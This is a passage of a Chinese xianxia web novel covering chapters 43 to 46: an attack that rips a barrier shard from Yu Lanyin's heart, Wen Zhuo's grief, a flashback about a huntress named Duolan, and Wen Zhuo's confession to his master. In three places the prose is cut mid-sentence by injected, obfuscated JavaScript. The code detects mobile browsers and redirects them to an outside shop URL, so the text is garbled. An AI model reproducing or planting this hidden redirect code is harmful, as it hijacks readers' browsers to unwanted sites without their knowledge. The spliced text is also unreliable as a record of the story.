他摸了一把自己的脸,嬉笑着看向玉阑音:“玉阑音,我又受伤了。你来帮我。” 玉阑音看了一眼狼狈的达奚恩山,又看了一眼发了狠的秦鹤生,叹了口气。 “鹤生,罢了。他只是个孩子,依宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997865|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门规矩处置便好,不下如此重手。” 秦鹤生体内灵气四窜,头晕得有些看不清玉阑音,“真人……” 玉阑音手指一动,放出了一丝银色的灵气,以极快的速度隐如秦鹤生的眉心,如池中河鱼般顺着秦鹤生的灵脉运了两三个大周。 秦鹤生随即便觉得自己的呼吸平顺了许多。 他不愿忤逆玉阑音,理了理呼吸,从地上起来之时一个踉跄,险些跌倒在地。 玉阑音一个上步轻轻将秦鹤生扶起。 达奚恩山身上骤然没了秦鹤生的压制,终于从地上晃悠悠地爬了起来。 他又擦了擦脸上的血,笑道:“玉阑音,你不是最讨厌绛红色的衣服?看我今天穿着,你可喜欢?” 语罢,他甚至是极高兴地扬了扬袖子,转了一圈,“你看,好不好看?” 玉阑音终于在今晚第一次感到一丝茫然,他无力地看过达奚恩山,道:“嗯,好看。” 听到这话,达奚恩山忽然止了动作。 他神色一时变幻莫测,朝玉阑音眯了眯眼睛。 “玉阑音,我非常、非常讨厌你这种语气。你到底有没有心?你到底有没有用心对待过什么人?”说至此,达奚恩山忽然像是恍然大悟了一下,“哦,抱歉,我忘了,你的心——” 达奚恩山话音未落,当即脚下灵气一运,五指变爪,指尖处也露出水蓝色的一阵灵气流转的微光,隐约还能嗅到厌族灵气的味道。 他敛起了所有笑意,猛然跃起,朝玉阑音袭去。 达奚恩山修行时间尚短,论法术也就是个半吊子。 即便他如今有厌族法器和灵气加持,但是在玉阑音的眼中,他的这身本事依旧和三脚猫工夫差不了多少。 可是,面对达奚恩山这朴实无华的突然袭击,玉阑音没有还手。 他甚至没有躲。 达奚恩山几乎是用尽了浑身解数于手上这一击。 下一秒,一阵皮肉绽裂之声,他成爪的手生生穿过了玉阑音的左胸膛。 如今正值晚夜,正明峰之上人不算多,在场所有人心脏齐齐停了。 一时之间,鸦雀无声。 所有人眼中只能看到,此时达奚恩山没入玉阑音胸膛的那一截手臂,其上鲜血淋漓。 “——早就没有啦。”达奚恩山笑嘻嘻的将未说完的话补全。 玉阑音脸色猛地煞白,在这种疼痛和冲撞力下脚下却未移动分毫。 他一声没吭,沉默地抗下了这一击。 达奚恩山毫不在意地将那截手臂往回一收,在再次穿过玉阑音胸腔之时,他手转了几圈,似乎是在玉阑音胸口里寻找着什么。 玉阑音的脸一瞬间白得像纸,可他依旧一声没吭。 他甚至低下了头,直直看着达奚恩山没在他胸膛里的手,声音极轻地问道:“找到了吗。” “唔,找到了。”达奚恩山一挑眉,手下一个用力将手拔了出来。 霎时间,玉阑音身上的血再也止不住,几乎是有些喷溅地向外涌动。 他疼得眼前白了一阵又一阵,强忍着给自己下了个止血咒,可惜作用之微聊胜于无。 达奚恩山乐呵呵地将寻到的东西捏在手里,举起,迎着月光打量了一番,“这就是最后一片结界?还会发光,真漂亮啊。” 秦鹤生浑身鲜血逆流,只感觉自己修行千年,头一回有些晕血。 他踉跄着想往玉阑音身边走去,“真人……” 玉阑音涌出的鲜血已经顺着胸口流到了小腿,染红了大半衣袍,远看居然也像是一袭红衣。 他极为勉强地点了点手指,示意秦鹤生安生待在原地。 “云州上仙,云州唯一真神,”达奚恩山不甚在意地擦了一把蔓延到手腕的血迹,“成神之日,就地剖心,落地成障。玉阑音,他们哄着你,骗着你,拿你的心脏化成了这云州结界。” 达奚恩山晃了晃手中那一片不规则的透明的东西,噗呲一笑,“然后就给你剩这么一小片狗屁东西,吊着你的命。” “可你居然到现在还在说着‘为万世开太平’的屁话。玉阑音,你说,你到底是有多贱?” 43.潮湿 温卓几乎是瞬间就在书卷之中抬起了头。 他看向玉阑音的眼中猩红一片,宛如厉鬼。 玉阑音半哭不笑地迎上了温卓的目光,“温卓啊……” 温卓只觉得这一瞬间血液都在逆流,他胸膛之中灼热一片,烧得他直犯恶心。 识海中的厌族神识也化成了蛟龙,腾云驾雾撞荡着识海中央的那棵枯树,枯树之上金雕泣血展翅,枯树之下血马长嘶。 温卓竭力费尽心思地念着“静心”之语,但无数个破碎的喘息之间,他脑中又不受控地闪过过去的种种。 关于那札布萨血盆大口的厌族,关于玉阑音时好时坏的破烂身体,关于玉阑音的高烧。 关于大漠之上几近欲哭的元宿央,关于那天幕上结界随呼吸的起伏。 温卓的呼吸急促万分,他欲盖弥彰地颤抖地握了握拳。 玉阑音对他说,那些漏进云州大陆的厌族“小打小闹,不足为惧”。 那日的他只顾得上为这人肆意的眉眼心动,从未曾想,这人笑意之后是一路走来的血肉涂地。 温卓在十方宗的这些年里,结界异动频仍,大大小小,从未间断。 尽管他不太关心这些宗门事务,只或多或少也能在善玄这里听到许多。 可那时候的他在做什么? 在自怨自艾,在忸怩妄想,在欲望缠身,满心只自私的“我”、“我”、“我”。 他别扭地越来越不愿传音给玉阑音,甚至时至今日都不曾将传音符文告诉玉阑音,闭关那些年里更是单方面地失联了几十年。 温卓思念至此,已经愧疚自责地发了软,平地一个踉跄地卸了力。 玉阑音连忙上前将他搂在怀里。 温卓的呼吸一片破碎,他强撑着推开了玉阑音,但是又紧紧攥握这玉阑音的手腕。 “让我看完,阑音。” 玉阑音指尖一颤,未发一语,叹息,轻轻回握住温卓的手。 书卷里的彩色画面仍在滚动。 达奚恩山痛骂了玉阑音一番,但是又像是很不过瘾似的皱了皱眉。 “哦,也有可能不是,”达奚恩山看着玉阑音苍白的脸,忽而笑得璀璨,“因为你只是虚伪,你们仙盟的人,全都道貌岸然虚伪至极。我说的对不对,玉阑音?” 玉阑音其实已经听不太清达奚恩山说的话了,他耳边仿佛是有一片水帘,进出的声音都是那么的晃荡空洞。 秦鹤生见玉阑音强撑着摇晃的身体,终于再也忍不住,冲上前去搀扶住了玉阑音。 他愤怒道:“达奚恩山!真人他真心一片,何时负过你!你怎能作如此狠手!” 秦鹤生说这句话的时候心都在颤。 因为达奚恩山在玉阑音胸口中抓出来的那个碎片,是云州结界的最后一角,也是玉阑音的余生寿数。 秦鹤生是真的害怕自己所言稍有不慎,激得达奚恩山发了狂,捏碎了那脆弱的碎片。 到时候真人定然是要殒命当场,还有那云州结界呢?结界随着真人一起消散了那当如何是好? 秦鹤生如此想着只觉得一阵心慌。 达奚恩山自然是读得出秦鹤生的未言之语,他眯眼睛一笑,“秦鹤生,你这掌门当得真是温吞啊。” 他吹了口气,将手上的血污化成了一阵水红的气雾,手中那片碎片也终于现出了本来的模样。 它晶莹剔透,在光下不时地可以看到光斑流转,其上甚至能看到一丝微弱的、规律地震颤和起伏。 “玉阑音,你看,这就是你的心跳。”达奚恩山哂笑,“你说——你这亲爱的小掌门,现在是关心你多一点,还是关心那结界,更多一点?” 玉阑音听不真切达奚恩山的话,他眼前开始发了白,甚至已经看不清达奚恩山的脸。 秦鹤生闻言当即黑了脸,随后是近乎慌乱地转头看向玉阑音,“真人,你莫要听他……” 忽然之间,正明峰山头一个震颤,卷携着几道铺天盖地的灵力。 来人正是善玄、青木和秉文。 善玄根本顾不上其他,脚都未落稳便一道残影地奔向玉阑音。 在玉阑音脱力的瞬间,善玄将他从秦鹤生手中抢到了自己怀里。 “师尊,师尊!”善玄衣袍都未穿戴整齐,看起来活像是刚从被子里钻出来,低声喊道。 玉阑音已经接近晕厥,但在恍惚之中还是认出了善玄的脸,他似乎是蹙了下眉,颤着呼吸叹了口气,“你怎么来了。” 善玄无意回应玉阑音的埋怨,抬起头看向达奚恩山,神色颇有些忍辱负重,“达奚,念在师尊带你不薄。手下……留情。” 达奚恩山闻言,挑了下眉。 秉文是个一板一眼的性子,此刻只是微微皱着眉头,同样不敢高声语触了达奚恩山的气头。 青木看起来也是起得急匆匆,头上也没簪上那红的绿的鸟毛,同秉文并肩站在玉阑音和善玄身后。 达奚恩山的目光粗略地扫过三人,却在青木身上停留了片刻。 “你是……青木?”达奚恩山歪歪头,“怎么今日这么憔悴,我都要认不出你了。” 青木并没有在意达奚恩山的挖苦,他只不卑不亢一颔首,语气恳切,“达奚师弟,回头是岸。” 秉文随着这句话,轻轻一叹息。 达奚恩山没回话,只是饶有兴趣地又多看了几眼青木,随后便重新将目光转向了玉阑音和善玄。 “放心吧,我不杀他。”达奚恩山收起了笑意,很是专注地端详了一会儿手中的那结界碎片,“玉阑音这人,我心疼还来不及呢,怎么舍得杀他?” 还未等善玄等人松一口气,只听达奚恩山继续道:“更何况,我们的云州上仙寿与天齐——这天道能活多久都要看它的造化呢,何苦我动手?” 达奚恩山说着,灿烂一笑,“你们说,是不是?” 秦鹤生眼眶一红,“你!” 达奚恩山嬉笑着,做了个极为轻蔑地“住口”的手势,随后道:“我呢,无心杀玉阑音,但不代表我会就此偃旗息鼓。 “我定是要作恶一辈子,扰得你们仙盟生生世世不得安宁,我达奚恩山立誓,今生要杀光你们仙门修士所有人!” 善玄对达奚恩山这恳切的长篇大论,左耳朵进右耳朵出,他只是专注地盯着达奚恩山手中的那透明的小东西,生怕他稍有不慎捏出个好歹。 “玉 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他停顿了很久,“哦,那很好。” 气氛一时安静得不像话。 一片寂静中,达奚恩山吸了吸鼻子,无所谓地又揉了揉手腕,随后是粲然一笑,“那,就此别过,仙门的各位。” 众人听得玉阑音之意,也担忧达奚恩山手中那碎片,于是自然无一人敢上前去拦。 只能任由达奚恩山留下一句“后会有期”,随后如同一阵风消散不见。 “师尊!师尊!” “真人!” 几声急切的呼喊忽然之间响起。 玉阑音终于脱力半晕在了善玄怀中。 秦鹤生方才加急催动了灵力,如今腿上的伤又复发,隐隐作痛。 可如今他也顾不上这些,只责备地朝善玄喝道:“善玄,你是药术师,还不快快带真人去疗伤!在这里等什么!” 善玄又不放心地看一眼秦鹤生,“掌门,那你的伤……” 秦鹤生听见这话,气不打一处来,“腿伤腿伤,我这么点小伤用得着你惦记?孰轻孰重都不知道!” 善玄讨了一顿骂,老老实实即刻带着玉阑音撒丫子回药谷了。 秦鹤生担忧地目送着善玄离去。 书卷之外。 温卓的眼睛忽然被一双手蒙住了。 这双手不算暖和,也算不上细腻,甚至略微有着薄茧。 “别看了。” 他听见这双手的主人道。 玉阑音是这段故事的亲历者,当众再次经历一次的感觉并不好受,甚至是叫他极为别扭。 于是更多时候,玉阑音都没有去看那书卷之上投射的画面。 他只在看着温卓。 他生怕在温卓眼中读到太多的情绪起伏。 可是幸好,除了中途温卓红了的眼眶以外,他似乎再没有更多的失态。 玉阑音松了一口气。 可是在他打算收回手的一瞬间,他愣住了。 因为他捂着温卓眼睛的掌心,此刻已经一片潮湿。 44.青纹 潮湿的掌心着了风,有些凉。 温卓是个鲜少哭的人,玉阑音见过最多的恐怕也只是他情绪激动之时红了的眼眶。 玉阑音不受控地回忆起,上次见他掉金豆豆是什么时候来着? 哦,记起来了。 是那年札布萨,篝火大会的晚上,我发了高热,这小孩眼泪扑簌簌不要钱地掉。 玉阑音看着温卓柔软地发旋,极轻地眨眨眼。 居然都是因为我啊。 不过没等玉阑音发呆许久,他掌心的一片湿润已经蒸干了。 随后温卓摘下了他的手。 温卓此时的面色如常。 他低垂着眸子,仿佛刚才的眼泪只是两人默契的错觉。 秋风和伯让作为后室的主人,罕见地有眼力见地没有作声。 元宿央则是静静地看着玉阑音,时不时看看温卓。 元宿央作为玄天门少掌门,又与玉阑音私交甚密,自然是很早就知道这云州结界的秘密。 可方才书卷里的十方宗的往事,哪怕是元宿央,也是第一次真切地亲眼见到。 他看着玉阑音温顺无措的眉眼,顿感一阵与温卓不谋而合的心疼。 此刻温卓捉下玉阑音的手未松,他看向玉阑音,道:“疼不疼?” 玉阑音一怔忪,“什么?” 温卓没再重复,他只摇摇头,似乎是不愿再语。 玉阑音默默在心里将这话又滚了两圈。 他甚至没有搞清楚温卓究竟在问什么疼不疼,自然更是拿不准温卓如此说的用意。 他好生琢磨一阵仍旧未果,只得叹口气,勾勾温卓的手指,“有一点吧,太久了。记不清了。” 温卓的呼吸骤然一颤。 也不知是因为心疼,还是只因为玉阑音突如其来的撒娇。 玉阑音这人很别扭,也不知怎么的,见到别人如此在乎自己总会觉得歉疚。 他看了会儿温卓,只能徒劳地安抚地拍了拍他的手背,轻声细语地道:“好了,都过去了,我现在不是好好的吗。” 好好的? 你管你这副活不活死不死的样子叫好好的? 温卓看着玉阑音仿佛在说“昨天吃了两个肉包子”的语气,胸中气结,但是又心疼地一句重话都说不出口。 温卓直直看着玉阑音的眼眸,仿佛已经淹没到他眼眸湾水的最深处。 他将哭不哭,“阑音,你那时候明明……”也只是个孩子啊。 温卓并没有将未竟的话说完,咬了咬唇,止了声。 不过玉阑音似乎也听懂了。 而且似乎也没有为温卓这“大不敬”之语气恼。 他弯弯眼睛一笑,“但我现在不是了。你才是。” “发生过了的便已经是发生了,不必记挂。”玉阑音笑着屈指一敲温卓的额头,“你啊,小孩子就是小孩子。” 温卓皱起了眉。 他不喜欢玉阑音忽然言之凿凿的模样,实则借机向他灌输一些歪七扭八的歪理。 温卓道:“这不对。” 方才还道貌岸然的玉阑音被这直白的话堵得一愣。 可温卓只是摇摇头,再没开口。 整个后室忽然安静下来,氛围有些沉重。 最终是玉阑音佯装洒脱地笑起来,同秋风搭话:“秋风,你那时候不是说要找我记录千年之战的事情?” 秋风看完了书卷里的记忆,一直有点不自觉地发呆,忽然被点到名字吓得一抖。 他猛地回神答道:“是的,是的,真人。” 玉阑音被他的一惊一乍逗得一笑,“现在可以吗?” 秋风闻言连连“哦哦”了几声,一边小跑着到玉阑音身边,“可以的,可以。” 秋风利利索索撩起了他右臂的兽皮长袖,露出他遍布着黑色纹路的小臂。兽衣之上挂着的玛瑙兽牙,随着他的动作撞得啪啦作响。 秋风右手食指一触眉心,随后平展了右手掌心,口中念了一句听不懂的古语。 玉阑音看了一会儿秋风额上挂着的红宝石链。 在秋风抬头看向他的时候,他将右手不轻不重地覆到秋风的手上。 这时候的秋风再无平日的稀里糊涂之相,他低垂的眼睛沉稳至极,又仿佛是淬了火一般闪烁着虔诚的光斑。 秋风慢慢闭上了眼。 载天载地载道,闻人闻界闻心。 这便是记者。 这才是记者。 两人双手触碰之处亮起了了一阵不刺眼的金光,随后那光顺着二人各自的手臂蹴而流转攀爬,紧接着爬至脖颈、脸颊、最后是一双眼睛。 随后,从两人合掌之处,秋风手臂之上逐渐显现出一道弯曲的浅浅的黑纹,它似是有生命一般盘旋生长,颜色也越来越深。 忽然,两人眼中的金光无征兆地熄灭,秋风似是被不知名之物一点额头似的一震颤,猛地睁开了双眼。 那正蜿蜒爬升的深青色纹也随之停驻,混入了秋风满身的纹路之中,再也寻不到了。 秋风很快便收回了右手,双手合十轻轻一拜,“真人,失礼,失礼。” 玉阑音好整以暇一笑,“无妨。可是完成了?” 秋风连忙点头,“嗯,全都记下了。” “那很好。”玉阑音拢了拢袖子,道。 记者,顾名思义,记录之者。 后室只是记者一族为了历史代代相传而建,而真正的记录传承之物,则是记者其族人本身。 玉阑音看着秋风收拾好了衣袖,这才施施然转过了头。 元宿央连忙朝着他使劲眨巴眼,朝温卓方向努了努下巴。 玉阑音立刻看了一眼面色青白的温卓。 他叹一口气,到了温卓身边,“多少个时辰没休息了,走吧。” 作为后室的主人,秋风和伯让像是得了令似的,立刻反应了过来,抓紧领着几人去了客房。 元宿央选了个离灵泉最近的客房,早早作别了其他人。 温卓则是一路不发一言地紧跟着玉阑音。 一直跟进了玉阑音的客房。 进了屋,玉阑音看了跟屁虫温卓一眼,打趣道:“怎么变成三岁小孩了?要我陪着睡?” 温卓不说话。 后室的客房不比玉阑音平日住的地方,屋子小小的,只一张桌子一张椅子一张床,生活用的物件少得可怜。 但玉阑音是个极度严于律己宽以待人的人,平日虽然挑捡物件的好坏,但仅限于自己。 此时他来回看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一出门,夜里氤氲的大片水汽扑面而来,却并不恼人。 玉阑音揉揉鼻子,像远处一眺望,便看见不远处的矮山顶上坐着一个人。 那人穿得黑黑的,头发黑黑的,背打得很直。 不是温卓又能是谁? 玉阑音盯着这背影看了会儿,随后才脚步一动,很轻地走近他。 长袍曳地,途过草地,传来袍边摩挲过新草的窸窣声。 玉阑音没有刻意压着步子,温卓修为大成,自然是在最一开始便听到了这人的到来。 直到身后的脚步逐渐逼近,随后玉阑音带着一身药草香的风,在他身边坐下。 温卓这才略微一偏头,看了他一眼。 见温卓迟迟不开口,玉阑音终于笑道:“怎么不理我了?” 温卓转过头,“没有。” “当我不知道你?又闹脾气。”玉阑音看着温卓紧绷的一张脸,一哂,“大晚上这是自己坐在这里瞧着这广寒宫这么久,难不成是要进去抱玉兔?” 温卓:“没有。” 玉阑音自讨了个没趣,一撇嘴,不说话了。 温卓看他一眼,思索片刻,“我没有在针对你,别多想。” 玉阑音:“哦。” 温卓终于笑了,“元宿央说,云州边境结界会比中原更低。我来看看。” 玉阑音一怔愣。 他顺着温卓的目光抬起头。 树梢之上一轮弯月,弯月之下光斑流转的云州结界。 温卓痴痴看了一会儿,又道一遍:“我来看看。” 45.夜露 玉阑音心里一时不知作何感想。 他胸腔里一阵发酸,过电般的暖流穿过喉头和口鼻,险些就要从眼眶夺眶而出。 玉阑音哽咽一瞬,极轻声道:“这有什么好看的。” 夜风徐徐,搅动一池春水。 温卓抬头看了会儿月亮,又垂头看了看水面涟漪。 他问:“值得吗?” 玉阑音又是一愣。 他别开了目光,同样转向那千万年亘古不变的月亮,“我不知道。” 温卓终于侧头看他一眼,“我想也是。” 两人心照不宣地将目光投向了更远处。 有的时候,世间三两大事,做的时候哪有什么非做不可。 人生一串,是无数个赶鸭子上架的瞬间。 两人迎面这未名湖升起的水汽太重了,重得玉阑音觉得眼眶沉热。 他摸了摸已经潮湿的发尾,轻轻拈成一小束,再用手顺开。如此数次。 温卓垂眸看着他心不在焉的小动作,“阑音,我在中原的时候,你怎么从不找我?” 玉阑音一愣,随后松开绕着发梢的手,看起来十分惊讶,“你这死孩子,怎么这么能恶人先告状?” “你传声符文都不告诉一个我怎么找你?”他笑道,“我想问问你都只能去找鹤生。你这小没良心的。” 玉阑音话音里只是调侃,他言笑晏晏,揶揄着,毫无一丝一毫的恼意。 “对,那你为什么不怪我。”温卓望进玉阑音的眼睛,他眼中一片破碎的月光,“玉阑音,我问,你为什么不怪我。” 玉阑音眨眨眼。 “为什么?”他一笑,屈指弹了一下温卓的眉心,“我平日是哪里亏待了你?你何时见我因为这种小事同你置气了?” 温卓的呼吸一滞。 “因为达奚恩山的缘故,十方宗也好,宿央也好,明里暗里提醒过我很多次。”玉阑音收回了手,声音轻扬,“可是你和他不一样。我自己知道。” “况且现在世道不比当年,人族厌族之间脆弱的平衡岌岌可危,犯忌讳说一句道尽途殚也不为过。”玉阑音笑盈盈看一眼温卓,“我又还能陪你多久呢?这些时间我拿来哄你开心都嫌不够多。” 温卓忽然别开了目光,眉眼低垂似乎是隐下了某些浓烈的情绪。 他用了很大的力气咬了牙关,下颌骨绷得紧紧,语气也滞涩了许多,“……阑音,你还记得朵兰吗?” 乍然听到这么个遥远的名字,玉阑音有些纳罕。 他挪开在温卓面颊上的目光,在月光下略一眯眼。 眸底深处,有回忆随着山风一并翻涌而来。 那是一个夏天。 那年,温卓只有八岁,仍旧和玉阑音住在札布萨的药居。 札布萨的夏天不算炎热,但正午附近的太阳也还是很歹毒。 那时候玉阑音的身体还不算差,没披鹤氅,正在东边森林里采各色野生草药。 温卓自然是小尾巴似的跟着,在旁边等得无聊了,就蹲在地上拿小木枝掘土玩。 由于温卓鲜少如此童真童趣,玉阑音不由地多看了会儿。 “好玩吗?”他温温和和笑问。 温卓闻言一顿,像是被惊吓了似的,“啪嗒”一声把小木棍扔了老远。 他遮遮掩掩站起来,脚下一个寸劲,“呼啦”地把地上垒好的房子踢翻,挡在了自己腿后。 “不好玩。” 玉阑音探了探头,绕过温卓的小腿,多看了几眼他踢得面目全非的小屋残骸。 只是这土搭的小破屋……怎么越看越像药居呢? ……而且丑得如此胆战心惊。 玉阑音看得眼角跳了跳。 温卓暗中观察这玉阑音的脸色。 他抿了抿唇,掩耳盗铃地又踢了那土堆的废墟两脚。 玉阑音又是不解地看了看温卓。 七八岁的小孩儿心思细得很,玉阑音颇为善解人意,从善如流地假装没看到,“别玩泥巴了,过来,我教你来认灵芝草。” 温卓松一口气,去到了玉阑音身边。 只见玉阑音所指的一棵倒木之上附着了几株赤红色扁状菌草。 “灵芝草,菌柄侧生,喜湿,大多附着在枯木朽木之上,因此又被称为木灵芝。”玉阑音朝着温卓娓娓道来,“性平,味干,归心、肺、肝、肾经……” 明明玉阑音只是刚开口,温卓却已经开始觉得头痛欲裂昏昏欲睡。 玉阑音的话耳边风似的在他耳边绕,他强打起精神,心不在焉地四处乱瞟。 正当玉阑音打算敲打他不专心时,温卓忽然盯着极远的某处道:“阑音,有人。” 见他不似胡说,玉阑音停下了念经,也眯着眼往那处看去。 那是森林的更深处,错落之间似乎的确是有人影闪过。 玉阑音还顾及着自己如今还是个“不通仙术的普通人”,别开眼假道:“哪来的人,你莫不是为了不学药理唬我?” 温卓脸“蹭”地红了一片,着急忙慌道:“我没有!是真的有人!” 玉阑音好整以暇地把灵芝采下来,“哦。” 温卓见他似乎还是不信,也顾不上什么仁义礼节了,拉起玉阑音的袖子就往那里走去。 边走边低声辩解着:“我没说谎!那里是真的有人声……” 玉阑音被他连拖带拽,也不恼,从容地一边抽着空收拾草编篮子里各式各样的药材。 忽然,像是听到了什么声响,玉阑音止了动作。 “嘘,”他敛了笑意,作了个止口的手势,“有声音。” 温卓不疑有他,当即停下了脚步,猫下了腰。 只听前方传来一阵十分笨重的拖拽声,时不时有一些碾压过枯枝乱石的“嗤啦”的动静,还有人粗重的呼吸。 温卓蹙眉道:“好像是……一头熊?有人在拖着一头熊。” “熊?”玉阑音一愣,“那可真是好大的力气。” 两人复定睛一看,那拖着熊的人,穿着红黑织锦罗裙,大约是嫌热,小袄子解下来系在了腰间,编着一头细细的小辫,额上垂着银链,被小麦色皮肤衬得熠熠生辉。 是个十分阳光健壮的女子。 这女子很快就注意到了玉阑音和温卓这两位旁观者。 她笑出了一口白牙,嗓门儿十分响亮,“嘿!二位!” 玉阑音见状,遂迈着款款的步子从树后走了出来,温卓紧紧跟在跟在玉阑音屁股后面。 玉阑音行了一个中原对女子的正礼,浅笑道:“在下玉阑音,多有得罪。” 温卓像模像样地学着也拱了拱手,“温卓。” 那女子朗声一笑,“那有什么得罪的!我叫朵兰,你们好!” 朵兰说完又哼哧哼哧搬起熊,玉阑音和温卓本想帮忙,一伸手就被朵兰两个巴掌拍上来。 “你们俩,一个中原人一个屁大孩子,细胳膊细腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106066|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掺和什么?去去去,我自己来!” 玉阑音和温卓两人细皮嫩肉,直接被天生巨力的朵兰抽得手上红了一大片。 于是二人只得看着朵兰独自一人给黑熊开膛放血,拿着个有她半个人高的大锯刺啦刺啦割肉,深觉自愧不如。 那天也是二人人生中第一次吃到熊肉。 烤过的肉硬且柴。 玉阑音吃不惯,温卓也咯得牙疼。 不过两人不约而同地面上不显,假扮得十分欢快。 “你们两个,中原人,怎么会到这种偏远地方?”朵兰吃相很彪悍,边吃边问道。 玉阑音礼礼貌貌,“我们住在札布萨,来采草药,逢巧遇到了姑娘。” “札布萨?”朵兰道,“没听说过。” 玉阑音笑一下,“那姑娘是哪里人?又为何来到北塞?” “我啊?”朵兰吧唧吧唧嘴,“我是蒙西人,不过不怎么待在蒙西。我是森林的女儿,住在森林里,各种各样的森林里。 “我平日就打打猎,到处走,走到哪里睡到哪里。我太喜欢森林了,你们知不知道,不同的森林有不同的味道,四季的风味道不同,简直是……太美好、太美好了。” 玉阑音笑着点点头,“嗯,听上去的确很美妙。” 玉阑音听人讲话的神情总是很专注,莫名其妙叫朵兰羞惭起来。 她拘谨地擦了擦手,坐有坐相了一些,“在森林里很容易受伤,生病了也只能自己扛,不过我还是很喜欢这样的生活。我最大的愿望就是能死在森林的怀里,然后化成风,化成雨,怎么样都很好。” 玉阑音看着朵兰,轻轻笑起来。 朵兰看见玉阑音笑,误以为自己是说了什么笑话,登时闹了个大红脸。 “哎呀,我也没学过书经,说话不如你们这种文人好听,”朵兰尴尬地摸摸耳朵,“我不忌讳说死啊活啊的,我做事情也不太愿意考虑以后。一直活在以后里,那这一辈子该多么憋屈?今日快乐,那今日就是我的。” 玉阑音眼中映着面前的火光,窸窣闪烁。 他笑道:“我家这位小先生不让我饮酒,不然我今日定是要敬姑娘一杯。” “酒?”朵兰耸了耸鼻子,“我不爱喝那玩意儿,喝多了在森林里太危险,你也别敬我。” 玉阑音笑着说是。 这一年秋天。 玉阑音照例带着温卓在季末进山采摘。 还未走深,在一棵松树下。 他们见到了朵兰被啃食得残破的尸首。 回忆里一片血色,玉阑音费了点功夫才从那断遥远的过去中抽身出来。 “嗯,朵兰。我记得她,非常,非常美丽的一个姑娘。”他略一抬眸,“怎么忽然提到她了?” 温卓点点头,“最近时常想到她说,人不必为没有到来的事情忧虑。” 玉阑音听得笑起来,“你倒是把她那些话美化了不少。” “意思都一样。”温卓道,“我过去总是担忧很多事情。担心太小的事情没有结果,重要的事情又没到时候。” 今夜温卓的话是罕见的多,玉阑音觉得很意外。 他一副哄孩子多说话的模样,说话也拖腔带调,“嗯,没到什么时候呀?” 温卓屈指弹了一下手边的新草叶,叶片之上的夜露被弹甩出一道弧线,在月光下粲然。 在最后一滴露珠滴落之时,玉阑音听到温卓轻声开口:“说爱你的时候。” 46.别扭 霎时之间,万籁俱寂。 月初之夜,常绿叶相互在风中相互碰撞的哗啦声,水波激岸声,都在温卓话音落下之时消失得无影无踪。 玉阑音的笑意顿时停滞了。 他手指微不可察一蜷缩,“嗯?” 温卓充耳不闻。 他的个子很高,此时垂着眼睛,恰能看到玉阑音毛茸茸的发旋,和投下一片阴影的羽睫。 温卓出神地、一根一根数着这人的睫毛。 一,二,三,四。 越来越快。 随着他的心跳,越来越快。 面前,那叫他魂牵梦绕终日不得安宁之人终于开了口:“是我疯了还是你疯了。” 温卓点点头,“嗯,我吧。” 玉阑音的面色从来没有一刻比现在更难看过。 “温卓,”他的语气是从未有过的严肃,“我是你的师尊,今日只当你方才的话没说过,或者是当你说了什么胡话。你好自为之。” 温卓看起来十分乖巧地又点点头,“好。” 还没等玉阑音松一口气,就听温卓继续道:“我先前说的的确太仓促,不好,你都忘掉吧。我现在要重新说一遍。” “玉阑音,”温卓大不敬地唤了他的全名,“师尊又如何?我喜欢你,爱你,爱得发了狂,爱得非你不可,巴不得生生世世,活能活在一起,死了葬在一起。” 玉阑音嘴唇颤抖着猛地起身,眼前一瞬间甚至不可视物,苍白着脸一个踉跄。 温卓适时揽过他的肩膀,替他稳住了身形 “我说完了,接下来如何,都任你处置。除非你现在杀了我。”温卓道,随后他皱起眉,轻轻捏了捏玉阑音极为消瘦的胳膊,“太瘦了。” 话音未落,玉阑音直接运起灵力震开温卓的手。 温卓生生抗下玉阑音毫不卸力的一击,一声不吭。 紧接着他便听到玉阑音猛力挥手之时广袖震打的哗啦声。 他眼睛都没眨,直直看着玉阑音。 玉阑音的手在温卓脸侧一公分的位置堪堪停下来。 温卓能感觉得到,此刻玉阑音的手抖得厉害,甚至时不时会扫过温卓脸上细细的绒毛,叫他有些发痒。 温卓直勾勾盯着玉阑音的眼神算不上清明,隐隐泛起了红光。 识海中已经一片翻云覆雨的混沌,不罢不休。 他看着仿佛要气绝似的玉阑音,忽然感到一阵难言的痛快。 温卓这人心像是长秤砣似的,规矩又多,从小到大都不会撒泼打诨耍性子,从不会耍着赖说什么东西非要不可。 可人生在世,难免欲望缠身。 他这些年背地里同那厌族神识斗得疯疯癫癫,如今奋力维持的光风霁月、圣人君子的做派,究竟几分是为了投玉阑音所好,几分才是真心,温卓自己都辨不清楚。 他不重物欲,什么东西都可以放弃。 只有玉阑音不行。 这个人,他到死都不会放手。 温卓自认为他是个很有耐心的猎人。 徐徐图之为上策。 但他不介意适时地露出一些爪牙。 温卓迎着玉阑音的目光,轻轻一笑,露出两颗不太明显的虎牙,和一丝年轻人特有的狡黠和恣意。 玉阑音看他如此,简直要气晕过去。 眼不见心不烦。 他颤抖着吸了一口气,收回了停在温卓脸边的手,别过了头去。 